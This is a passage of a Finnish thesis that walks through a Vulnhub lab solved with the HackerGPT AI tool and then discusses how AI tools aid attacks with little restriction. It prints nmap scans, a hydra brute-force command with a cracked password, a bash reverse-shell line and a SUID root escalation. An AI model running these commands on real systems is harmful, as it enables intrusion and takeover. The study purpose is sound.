harjoitus palvelinta. Harjoitus on saman tekijän kuin WhiteRabbitNeo:lla toteutetussa 

harjoituksessa. Tehtävän tarkoituksena on myös saada pääkäyttäjän root-oikeudet haltuun. 

Vulnhub-harjoitus ja tekoälyväline on tässä luvussa erilaiset kuin aiemmassa luvussa, mutta 

muuten käytetään samoja sovelluksia ja järjestelmiä. (0815R2d2, 2021) 

Tämän jälkeen aloitetaan eettisen hakkeroinnin tekeminen esittämällä HackerGPT-tekoälylle 

kysymys suositeltavista toimenpiteistä, kun halutaan selvittää kohdepalvelimen IP-osoite ja 

suorittaa skannaus sille. Tekoäly vastaa kattavasti suositeltavista toimenpiteistä ja se 

suosittaa nmap-skannauksen tekemistä verkkoalueeseen, jonka avulla saadaan selville 

kohteen IP-osoite. Tekoäly suosittaa komennon (Komento 8) mukaisen komennon tekemistä, 

jolla saadaan selvitettyä verkossa aktiivisena olevat järjestelmät ja auki olevat portit. Tämän 

lisäksi tekoäly pohjustaa jo seuraaviakin mahdollisia askelia root-oikeuksien saamiseen. Se 

ehdottaa haavoittuvuuksien ja mahdollisien hyväksikäyttöjen skannaamista, jotta voidaan 

saada kohdejärjestelmä haltuun. Lisäksi tekoäly muistuttaa sitoutumissääntöjen 

noudattamista ja kohdekoneen resurssien kunnioittamista. Se muistuttaa myös havaintojen 

dokumentoinnista ja raportoinnista viranomaisille. (HackerGPT, ei pvm.) 
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Komento 8 Nmap skannaus komento aktiivisien järjestelmien ja auki olevien porttien 

selvittämiseen 

nmap -sT -p- <verkon alue> 

Kun kohdepalvelin on saatu selvitettyä ja tämän jälkeen tekoälyltä kysyttäessä kohteen 

skannauksesta, HackerGPT suosittaa aluksi komentoa, jolla saadaan virhe ilmoitus, mutta 

tämän ilmoituksen kerrottaessa tekoälylle se korjaa komennon alla näkyvään komentoon 

(Komento 9), joka toimii. Skannauksella saadaan selvitettyä, mitä palveluja 

kohdepalvelimella on. Kuvassa (Kuva 16) näkyvä skannauksen tulos syötetään tekoälylle ja 

pyydetään, että se analysoisi tuloksen ja kertoisi seuraavan askeleen kohti tavoitetta. 

Komento 9 Nmap komento täyden skannauksen tekemiseen kohde IP-osoitteeseen 

nmap -p- -sV -A <ip-osoite> 

Tuloksien perusteella tekoäly kertoo kohteessa olevan FTP-, SSH-, http- ja MySQL-

palvelimet toiminnassa. Jokaisesta palvelusta ja sen skannauksen tuloksesta tekoäly kertoo, 

miten palvelua voidaan käyttää hyväksi, mutta eritoten se suosittaa käyttämään FTP-

palvelinta hyväksi. Tämä johtuu siitä, että palvelimelle on mahdollista kirjautua käyttäen 

anonymous-käyttäjänimeä. Tekoäly suosittaa FTP-työkalun käyttämistä kirjautumiseen ja 

kertoo lisää kysyttäessä, millä komennolla kirjautuminen toteutetaan. Kirjautumisen jälkeen 

se suosittaa etsiä tiedostoja tai ladata kohteeseen saastuneita tiedostoja, joita voitaisiin 

hyödyntää jatkossa. (HackerGPT, ei pvm.) 
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Kuva 16 Nmap skannauksen tulokset kohdepalvelimelle 

 

Kysyttäessä miten FTP-kirjautuminen toteutetaan, kertoo tekoäly komennon kirjautumiseen 

ja vastaukset identifiointiin anonymous-tunnuksella. Lisäksi tekoäly kertoo, kuinka FTP-

komentoja voidaan käyttää. Kirjautuminen HackerGPT-tekoälyn ohjeilla onnistuu ja 

kirjautumisen yhteydessä tulee ilmoitus, jossa ongelma tilanteissa tulisi ottaa yhteys 

sky@funbox9 osoitteeseen. Tekoälyltä kysytään ilmoituksen perusteella, että kannattaisiko 

kokeilla brute-force-hyökkäystä käyttäen hyödyksi käyttäjää sky. Tekoäly vastaa seuraavasti, 

”on mahdollista, että löydetty käyttäjä löytyy järjestelmästä.” Se suosittaa brute-force-

hyökkäyksen tekemistä hydra-työkalulla ja antaa suoraan komento ehdotelman sen 

käyttämiseen. Hydra-työkalulla voi pyrkiä tekemään salasanan selvitystä salasana listan 

avulla niin, että käyttäjän ei tarvitse syöttää tietoja. Mikäli kohteessa on heikko salasana 

käytössä voi työkalu tunnistaa sen. Netistä löytyy ohjeita valmiiden salasanalistojen 

käyttämiseen hydra-työkalun käyttämisessä, tekoäly ei suoraan tätä ehdottanut. Alla olevalla 

tekoälyn kertomalla komennolla (Komento 10) suoritetaan brute-force-hyökkäys FTP-

palvelimelle käyttäen käyttäjänimeä sky. Komennossa -l määrittää käyttäjänimen ja -P polun 

salasana listan tiedostosijaintiin. (HackerGPT, ei pvm.; Shivanandhan, 2022) 

Komento 10 Brute-force-hyökkäyksen tekemiseen käytettävä komento hydra-työkalun avulla 

hydra -l sky -P /usr/shre/wordlists/rockyou.txt Virhe. Hyperlinkin 

viittaus ei kelpaa.> 
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Komennon (Komento 10) tuloksena saadaan osuma ja käyttäjän sky salasana saadaan 

paljastettua. Kuvassa (Kuva 17) näkyvässä lopputuloksessa näkyy, että käyttäjän sky 

salasana on thebest ja tätä voidaan käyttää FTP-kirjautumiseen, jotta voidaan yrittää saada 

tätä kautta pääkäyttäjän oikeuksia. Tulos syötetään tekoälylle ja kysytään mitä kuuluisi tehdä 

seuraavaksi. HackerGPT suosittelee tutkia hakemistoja ja tiedostoja käyttäjän tunnuksilla 

kirjautumisen jälkeen sekä se kertoo komennot, jolla saa ladattua kohteesta tai kohteeseen 

tiedostoja. (HackerGPT, ei pvm.) 

Kuva 17 Hydra brute-force-hyökkäyksen lopputulos 

 

Hetken hakemistojen selaamisen jälkeen löydetään kohteesta user.flag-tiedosto. Tiedoston 

avattua osa tekstistä on kryptattu, mutta tekoäly ei pysty purkamaan sen kryptausta, joten 

siitä ei saada mitään käytettävää tietoa. Tekoäly kuitenkin ehdottaa tiedoston lataamista 

käyttäjän koneelle. Kysyttäessä tekoälyltä, että voiko tiedoston sisältöä jotenkin muuttaa ja 

täten hyödyntää hyökkäyksessä. HackerGPT suosittaa tiedoston hyödyntämistä reverse 

shell -komennolla. Tekoäly kertoo kolme vaihtoehtoa reverse shell -komentoihin, joista 

käytetään bash-komentoa. Komennon avulla voidaan ottaa yhteys kohdejärjestelmästä 

käyttäjän järjestelmään. Komennossa (Komento 11) määritellään IP-osoite ja portti johon 

yhteys muodostetaan. Tämän jälkeen tiedosto tallennetaan ja lähetetään put-komennolla 

takaisin kohde koneeseen FTP-yhteydessä. (HackerGPT, ei pvm.) 

Komento 11 Yhteyden muodostaminen reverse shell -komennolla käyttäjän järjestelmään 

bash -I >& /dev/tcp/<ip-osoite>/<portti> 0>&1 

Tämän jälkeen tekoäly muistuttaa käyttäjän koneelle otettavan kuuntelun päälle netcat-

työkalun avulla, jotta voidaan vastaanottaa reverse shell -yhteys. Tekoäly ei suoraan osaa 

kertoa oikeaa komentoa komennon suorittamiseen vaan jättää siitä pois muutaman oleellisen 

lisäehdon. Netcat-sivuston kautta löydettävien ohjeiden kautta löydetään kuitenkin komento, 

jolla kuuntelu saadaan toteutettua. Hetken odotuksen jälkeen huomataan, että reverse shell -

yhteys saadaan luotua käyttäjän järjestelmälle. Tekoäly suosittaa tarkastamaan id-

komennolla mikä käyttäjä on kyseessä ja minkälaisia oikeuksia käyttäjällä on. Kuvasta (Kuva 
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18) nähdään, että hallussa on sarah-käyttäjän tunnukset ja että hänellä ei ole root-oikeuksia. 

Tekoäly suosittaa yrittämään kasvattamaan oikeuksia sudo -l -komennolla, jotta käyttäjä saisi 

enemmän pääsyä järjestelmään. Tämä komento ei kuitenkaan toimi, vaan se antaa 

virhekoodin. (HackerGPT, ei pvm.; Kali Linux, ei pvm.-b) 

Kysyttäessä toista tapaa kasvattaa oikeuksia, tekoäly ehdottaa SUID-binäärien tarkistamista, 

jonka avulla voidaan saavuttaa root-oikeudet. Komento (Komento 12) etsii kaikki järjestelmän 

binäärit, jotka voivat olla haavoittuvaisia ja niiden avulla voidaan kasvattaa käyttäjän oikeudet 

root-oikeuksiksi. Suoritettua komennon listautuu sillä useampia binäärejä, joista voidaan 

etsiä haavoittuvaisia sellaisia. (HackerGPT, ei pvm.) 

Komento 12 Etsitään mahdollisia SUID-binäärejä komennolla 

find / -perm -u=s -type f 2>/dev/null 

Syötettäessä listautuneet SUID-binäärit järjestelmästä HackerGPT-tekoälylle, se ei suoraan 

kerro haavoittuvaisia binäärejä vaan se suosittaa etsimään haavoittuvat binäärit. Netistä 

löytyy edellisessäkin harjoituksessa käytetty SUID-binäärien haavoittuvuudet listaava 

nettisivusto. Ensimmäisestä bash-binääristä löytyy haavoittuvuus, jota voidaan hyödyntää 

oikeuksien kasvattamiseen. Sivustolta löytyy suoraan komento, jota voidaan käyttää 

haavoittuvuuden hyödyntämiseen. Kuvasta (Kuva 18) nähdään, että bin/bash -p -komento 

suoriutuu ja tämän jälkeen komennolla id voidaan varmistua, että haavoittuvuus toimii ja 

olemme saaneet lisää oikeuksia. Whoami komento varmistaa meille vielä, että toimimme 

järjestelmässä root-oikeuksin. (GTFOBins, ei pvm.; HackerGPT, ei pvm.) 
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Kuva 18 Netcat kuuntelun tulokset ja root oikeuksien saaminen haltuun 

 

Käyttäjä testaa vielä root-oikeuksien toimivuutta ja etsitään järjestelmästä löytyviä tiedostoja. 

Hakemistosta root löytyy tiedosto nimeltään root.flag. Tämän avattua voidaan kuvasta (Kuva 

19) todeta, että root-oikeudet ovat todella saatu käyttäjän hallintaan. Eettinen hakkerointi on 

siis toteutettu onnistuneesti käyttäen HackerGPT-tekoälytyökalua. 
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Kuva 19 Todennus tehtävän onnistuneesta suoriutumisesta HackerGPT:n avulla 

 

7.3 Tulokset 

Molempien eettisien hakkerointien tuloksena on onnistunut suoritus. Tekoälyjen 

käytettävyydessä oli joitakin eroavaisuuksia ja niiden turvallisuuden huomioimisessa joitain 

eroja. Tässä luvussa pohditaan tarkemmin eettisen hakkeroinnin tuloksia ja tekoälyvälineiden 

käytössä huomattuja eroja. 

Tekoälyvälineiden avustaminen työnvaiheissa oli erittäin laadukkaalla tasolla, ne opastivat 

hyvin kattavasti suoritettavia toimenpiteitä sekä osasivat annettujen tuloksien perusteella 

kertoa mitä tulisi toteuttaa seuraavaksi. Yleensä myös tekoälyvälineiden ehdottamat toimet 

olivat työn tarkoitusta ajatellen toimivia. Muutamia ei-toimivia ratkaisuja molemmat tekoälyt 

kertoivat, mutta tällöin virheellisen komennon vastauksen syötettyä se osasi korjata 

komennon. Molempien tekoälyjen suorittamat Vulnhub-harjoituksen olivat helpohkoja, mutta 

ei aloittelija tason ja mikäli harjoituksen suorittaisi täysin itsestään ihminen, niin tarvittaisiin 
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tehtävien onnistuneeseen suorittamiseen jonkinasteinen osaaminen niin 

penetraatiotestaamisesta kuin Linux-käyttöjärjestelmästä. Joten voidaan todeta, että tekoälyt 

toimivat erittäin vahvana apuna tämänlaisia tehtäviä tehdessä. 

Eettisesti ajateltuna tekoälyt toimivat välttävästi. Ne kyllä muistuttavat jatkuvasti, että 

komentoja tai hyökkäystekniikoita ei saa käyttää kuin eettisiin hakkerointi tarkoituksiin tai 

luvan kanssa, mutta jättävät sen tulkitsemisessa kaiken vastuun tekijälle. Joten suoranaisesti 

mitään sensuuria tekoälyillä ei ole. Toki molemmat tekoälyvälineet nettiselaimessa 

käytettynä vaativat kirjautumisen, mutta esimerkiksi omaan käyttöön ladattuna nämä työkalut 

eivät olisi välittömän valvonnan alla, joten mahdollisuus väärin käytölle on mahdollinen 

työkaluissa. On toki ymmärrettävä, että tämänlaisen työkalun mahdollistaminen olisi 

mahdotonta julkisesti, jos niissä olisi sensuuri haavoittuvuuksien tai hyökkäystekniikoiden 

kohdalla. 

Tekoälyjen käytettävyydessä on jotain eroja. HackerGPT on hieman pitemmälle viety 

kehityksessä ainakin tekoälyn ulkopuolella. Siihen voidaan asentaa joitakin lisäosia 

esimerkiksi haavoittuvuuksien etsintään ja verkkosivujen tietojen poimintaan sekä lisäksi sen 

syötteeseen voidaan lisätä tiedostoja. Näitä ominaisuuksia ei ainakaan työn teko hetkellä 

WhiteRabbitNeo tarjoa. Molemmissa tekoälyvälineissä on mahdollista ostaa jäsenyys, jonka 

avulla saa enemmän viestin lähetys mahdollisuuksia päivässä sekä muita parempia 

ominaisuuksia. HackerGPT:ssä saa myös nopeampia vastauksia ja lisää lisäosia 

käytettäväksi. Ilmaisversiosta ei tullut työtä tehtäessä ongelmaa, paitsi HackerGPT:n osalla 

täytyi välillä odottaa vastausrajan ylittymisen takia. Tekoälyille keskustelu toteutettiin 

englanniksi, koska joidenkin sanojen kääntäminen suomeksi on alalla haastavaa ja tekoälyn 

suorituskykyä pystytään mittaamaan paremmin englanniksi. 

Yhteenvetona voisi siis sanoa, että tekoälytyökalut olivat erittäin mieluisia käytettäviä ja 

pystyvät varmasti auttamaan kyberhyökkäyksien tavoitteiden saavuttamisessa, niin 

aloittelijoita kuin kokeneempiakin toimijoita. Haastavampien haasteiden suorittamiseen 

vaaditaan ilman muuta myös tekijältä osaamista, mutta tekoälyt kykenevät myös tekemään 

onnistuneita toimenpiteitä ja tulkintoja ilman tekijän osaamista. 
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8 Johtopäätökset ja pohdinta 

Työn tarkoituksena oli tutkia tekoälyn käytettävyyttä osana kyberturvallisuutta ja 

kyberhyökkäyksiä. Työn tarkoituksena on opettaa lukijalle kattavasti tekoälystä sekä 

kyberturvallisuudesta ja näyttää käytännössä niiden yhteiskäyttö tarkoitusta. Luvuissa on 

tarkoitus pohtia näiden onnistumista sekä pohtia työn hyödynnettävyyttä sekä mahdollisia 

jatkokehityskohtia. 

8.1 Opinnäytetyöprosessi 

Opinnäytetyötä suunnitellessa ja mietittäessä minulle oli tärkeää saada aihe, joka kiinnostaa 

itseäni ja josta halusin saada lisätietoa. Halusin päästä tutkimaan lisää tekoälyn ja 

kyberturvallisuuden yhteyttä, koska molemmat aiheet yksinään kiinnostavat valtavasti. Työn 

tarkoituksena oli myös syventää osaamistani kyberturvallisuudesta ja oppia uutta tekoälyn 

puolelta. Itselläni oli suuri kiinnostus ja hieman opintoja alla kyberturvallisuuden parista, 

mutta tekoälyn puolelta aihe oli melkein tuntematon. Viimeaikaisien uutisointien pohjalta ja 

tekoälyn vaikutuksen kasvaminen kyberturvallisuus alalla sai minut valitsemaan aiheen, 

jossa yhdistyvät kyberturvallisuus ja tekoäly. Generatiivisen tekoälyn ja suurien kielimallien 

viimeaikainen kasvu maailmassa johti minut aiheiseen, jossa pääsisin tutkimaan näiden 

käyttöä kyberturvallisuuden tehtävissä. 

Opinnäytetyön tarkoituksena oli selvittää kattavasti mitä kyberturvallisuus ja tekoäly ovat 

sekä mikä näiden kahden alan yhteys on. Lisäksi työssä pyrittiin selvittämään 

mahdollisimman tarkasti näiden kahden alan nykyhetki sekä tulevaisuuden näkymät. 

Molemmista aiheista sai tehtyä kattavan teoriapohjan koulun kursseilta sekä aiheista 

kirjoitetuista kirjoista, artikkeleista ja tutkimuksista. Molemmat aiheet ovat viime aikoina olleet 

todella näkyvästi esillä valta mediassa ja uskon, että tämä vaikuttaa myös sen tutkimuksien 

ja kirjojen kasvaviin määriin. Molemmat alat ovat kehittyneet viime aikoina valtavasti, ja niihin 

on tullut useita muutoksia, joten tämän takia pyrittiin käyttämään viimeaikaisia julkaisuja 

aiheista. Käytettävien tekoälyvälineiden tuoreus tuotti hieman haasteita näistä löytyvien 

validien julkaisujen löytämiseen. 

Toiminnallisessa osuudessa valitsin testattavaksi kuinka eettisessä hakkeroinnissa voidaan 

käyttää tekoälyvälineitä ja kuinka ne suoriutuvat testistä. Tämän valitsin sen takia, koska 

kiinnostukseni oli varsinkin tekoälyvälineiden väärin käytön hyödyntämisessä ja onko siihen 

puututtu miten. 
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Opinnäytetyöprosessin tekeminen eteni työsuunnitelman mukaisesti ja se pysyi hyvin 

suunnitellussa. Aikataulu myös pysyi myös suunnitellussa ja saatiin valmiiksi asettamissa 

aikarajoissa. Työn suunnitelmaan ei oikeastaan tullut muutoksia työn edetessä, jotain 

osuuksia tuli lisää alkuperäisestä suunnitelmasta poiketen, koska alalle ehti tulla uusia 

säädöksiä ja muutoksia työn aikana, jotka koin tärkeäksi ottaa mukaan työhön. Mielenkiinto 

työn tekemisen aikana pysyi kokoajaan ja jatkuvasti uuden tuleminen alalle ylläpitää 

mielenkiintoa jatkossakin. Työn tavoitteena oli, että työtä voidaan käyttää hyödyksi 

tulevaisuudessa sen mahdollisessa jatkokehittämisessä ja että lukija voisi tuoda työstä 

hyötyä organisaatiolle tai omaan työhönsä. 

8.2 Pohdinta 

Työn tarkoitus on opettaa lukijalle kattavasti tekoälystä ja kyberturvallisuudesta sekä niiden 

yhdistämisestä. Työn tavoitteena oli tutkia tekoälyn käytettävyyttä myös väärin käytön 

kannalta ajateltuna. Työn tuloksena voidaan todeta, että työssä käytetyt tekoälyvälineet ovat 

erittäin kehittyneitä ja hyvin käytettävissä kyberturvallisuuden tehtävissä, mutta ne ovat myös 

erittäin tehokkaita väärinkäytön apuvälineitä. Mielenkiintoista nähdä tuoko uusi EU:n säädös 

tekoälyyn muutoksia juuri tämänlaisien tekoälyvälineiden saatavuuteen ja kehittämiseen. 

Työ opetti minulle erittäin paljon tekoälystä ja kyberturvallisuudesta, ja työtä tehtäessä luin 

useita mielenkiintoisia artikkeleja ja tutkimuksia sekä muutamia aiheeseen liittyviä kirjoja. On 

erittäin mielenkiintoista seurata molempien tieteenalojen kehitystä ja tulevaisuuden suuntia. 

Tulevaisuudessa varmasti tulen syventämään osaamistani aiheista ja uskon, että tulen 

kehittämään työtä eteenpäin jatkossa esimerkiksi oman tekoälymallin kehittämisellä 

kyberturvallisuuteen liittyen. 

Tekoälymallien viimeaikainen nopea kehitys on tuonut ihmiskunnassa ja mediassa huolia, 

eikä mielestäni suotta. On kuitenkin hyvä huomata, että myös näihin tekoälyyn liittyviin uhkiin 

on reagoitu ja tullaan varmasti reagoimaan enemmän jatkossa. Säädöksien avulla voidaan 

varmentua, että tekoälymallit säilyvät tietoturvallisina ja muutenkin turvallisena käytölle niiden 

kehittyessä. Työssä käytettäviä tekoälyvälineitä tutkittaessa molemmista välineistä oli 

maininta, että niitä ei pystyisi käyttämään kuin eettisiin tarkoituksiin, mutta työn aikana 

huomataan kuitenkin käytön eettisyyden jäävän hyvin vahvasti käyttäjän tulkittavaksi. 

Tekoälyvälineet itsessään eivät kieltäydy vastaamasta mihinkään vaan mainitsevat aina vain, 

että käytön tarkoituksen on oltava eettistä ja vastuullista. 
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9 Yhteenveto 

Opinnäytetyön tarkoituksena oli selvittää tekoälyn roolia kyberturvallisuudessa sekä sen 

vaikutuksista kyberhyökkäyksissä. Tutkimuksessa selvisi tekoälyn olevan suuressa roolissa 

kyberturvallisuudessa nykyään ja kasvavissa määrin myös tulevaisuudessa. Sen vahvuudet 

tiedon määrän tulkitsemisessa sekä uhkien havaitsemisessa on jo tänä päivänä erittäin 

kehittynyttä ja paikkaa kyberturvallisuuden osaajien kasvavaa pulaa. Tekoälyn kyvykkyys 

nopeisiin laskelmoituihin päätöksiin sekä parantamaan tietoturvaa vapauttaa työntekijöiden 

resursseja, jolloin he kykenevät keskittymään enemmän tärkeämpien tehtävien 

toimenpiteisiin. Tekoälyn avulla kyberturvallisuudessa havaitsemaan uhkia tehokkaammin ja 

nopeammin, jolloin reagointi aika hyökkäyksiin pienenee merkittävästi. 

Samassa kun tekoälyn rooli kasvaa organisaatioiden prosesseissa, niin kasvaa sen 

käytettävyys myös kyberhyökkäyksien apuvälineenä. Lukuisat kyberturvayhtiöiden raportit 

kertovat, että tekoäly on yksi tämän hetken käytetyimmistä sekä hyödynnettävistä tavoista 

kyberhyökkäyksissä. Tämän takia EU:ssa on reagoitu jo ja uusi säädös tekoälyyn liittyen on 

tulossa voimaan. Suurien kielimallien osa-alue tekoälyssä on kehittynyt valtavasti viime 

aikoina, mikä tekeekin tänä päivänä hyökkäyksissä käytettävien kalasteluviestien 

havainnoinnin erittäin vaikeaksi. 

Työssä kerrotaan kattavasti eri tekoälyn ja kyberturvallisuuden osa-alueista mahdollisimman 

kattavasti, jotta lukijalle saadaan kattava tietoperusta aiheeseen. Mielestäni tietoperusta 

työhön onnistui ja työstä saa erittäin laajan tietoperustan valittuihin aiheisiin. Toiminnallinen 

osio tuo esiin käytännössä tekoälyvälineiden käytettävyyden eettisessä hakkeroinnissa, joka 

todentaa tekoälyvälineet tosiaan ovat merkittäviä apuvälineitä myös hyökkäyksissä. Työhön 

asetettuihin tutkimuskysymyksiin pystyttiin vastaaman ja jokaiseen kysymykseen saatiin 

useampaa näkökulmaa käyttäen kattavat vastaukset. Aiheesta on kirjoitettu paljon, mutta 

juuri tämänlaisesta näkökulmasta katsottuna tekoälyn hyödyntämisestä ei ollut kirjoitettu 

juurikaan. 

Tutkimuksen tuloksia voi käyttää pohjana yksityisen henkilön tai yrityksien miettiessä 

tekoälyn ottamista osaksi prosesseja kyberturvallisuudessa tai alasta riippumatta. Työtä 

voidaan myös hyödyntää lähtöpohjana aiheen tarkastelussa syvällisemmin. Kuten edellä 

mainitsin, tulevaisuudessa käytän työstä saamaani tietoa ja oppia tekoälymallin 

kehittämisessä.  
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Liite 1: Aineistonhallintasuunnitelma 

Opinnäytetyö sisältää tutkimuksellisen työn sekä kehitysprojektin. Opinnäytetyön 

tutkimuksellinen osuus suoritetaan kirjallisuuskatsauksena ja lähdeluetteloa on pidetty 

aktiivisesti yllä. Kehitysprojektissa esitetään kysymyksiä tekoälylle ja nämä vastaukset 

esitetään kokonaisuudessaan liitteenä. Työssä on arkaluontoisena tietona käyttäjän ja 

kohteen IP-osoitteet, jotka ovat poistettu työhön otetuista kuvista. IP-osoitteita sisältäviä työn 

vaiheita tai kuvia ei ole tallennettu pilveen. 

Kehitysprojekti: 

Kehitysprojektin aikana pidetään päiväkirjaa (aineisto), johon kerätään teknistä tietoa 

projektista. Tämä tieto analysoidaan opinnäytetyötä varten. Päiväkirjaa säilytetään tekijän 

tietokoneen C-asemalla, ja siitä tehdään säännöllisesti varmuuskopioita OneDrive 

palvelimelle. Päiväkirjaa säilytetään C-asemalla ainakin vuoden verran opinnäytetyön 

valmistumisesta. 

Opinnäytetyöaineiston jatkokäyttö työn valmistumisen jälkeen  

Tutkimusaineistoa ei jatko käytetä. Opinnäytetyön tekijä säilyttää aineiston tietoturvallisesti 

vuoden ajan opinnäytetyön hyväksymispäivästä, jotta opinnäytetyön tulokset voidaan 

tarvittaessa varmistaa ja hävittää tämän jälkeen aineiston tietoturvallisesti.  
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